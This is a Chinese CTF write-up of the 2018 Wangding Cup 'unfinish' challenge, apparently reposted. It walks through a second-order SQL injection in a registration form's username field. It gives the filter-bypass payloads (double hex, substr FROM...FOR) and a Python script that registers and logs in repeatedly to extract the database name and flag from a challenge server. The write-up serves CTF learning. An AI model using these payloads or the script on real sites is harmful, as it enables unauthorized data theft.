攻防世界-web-unfinish(sql二次注入)


題目來源:網鼎杯 2018
題目描述:SQL

題目如下,是個登錄頁面

通過awvs掃描得知存在 register.php 注冊頁面,並且注冊界面存在SQL盲注漏洞。

題目提示SQL,在注冊頁面測試無果,且發現輸入框限制了特殊字符,要用代理工具提交payload。

嘗試構造sql盲注語句username=alice' and left(database(),1)>'a'#

得到結果為nnnnoooo!!!

即存在過濾

測試發現過濾了逗號、information等,那么使用盲注應該不太行了

嘗試進行正常的注冊、登錄操作

發現注冊成功時,系統返回302跳轉到登錄頁面(注冊失敗時系統返回200)

登錄時,使用郵箱和密碼登錄,登錄成功后,系統返回302跳轉到index.php頁面,顯示用戶名

綜上,登錄時用到的是郵箱和密碼,而注冊時還有一個用戶名,而這個用戶名會在登錄后顯示,所以我們考慮用戶名這里可能存在 二次注入 。

經過嘗試,構造username=select database(),登錄后顯示用戶名還是為select database(),說明后台代碼可能把username用單引號引起來了,導致其無法顯示。

構造payload如下

email=test2%40qq.com&username=0'%2B(select hex(hex(database())))%2B'0&password=123456

進行兩次hex解碼后得到數據庫名為web

>>> "373736353632".decode('hex').decode('hex')
'web'

然后嘗試獲取表名失敗,因為過濾了information

看了評論說表名全靠猜哈哈

至於為什么 payload 要進行兩次 hex 加密,看下面這張圖就明白了。

然后這里還要注意一個問題,就是當數據進過 兩次hex 后,會得到較長的一串只含有數字的字符串,當這個長字符串轉成數字型數據的時候會變成科學計數法,也就是說會丟失數據精度,如下:

所以這里我們使用 substr 每次取10個字符長度與 '0' 相加,這樣就不會丟失數據。但是這里使用逗號 , 會出錯,所以可以使用類似 substr(str from 1 for 10) (表示截取str字符串的第1個到第10個字符)這種寫法來繞過,具體獲取 flag 的代碼如下:

email=test3%40qq.com&username=0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0&password=123456

進行兩次hex解碼后得到flag的前2位為:fl

運行腳本如下:

import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注冊
        requests.post("http://220.249.52.133:36774/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的頁面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#獲取用戶名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注冊
        requests.post("http://220.249.52.133:36774/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的頁面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#獲取用戶名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getDatabase())
print(getFlag())

運行結果如下:

 

參考:

https://www.secpulse.com/archives/74776.html

https://blog.csdn.net/qq_41429081/article/details/105600568


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM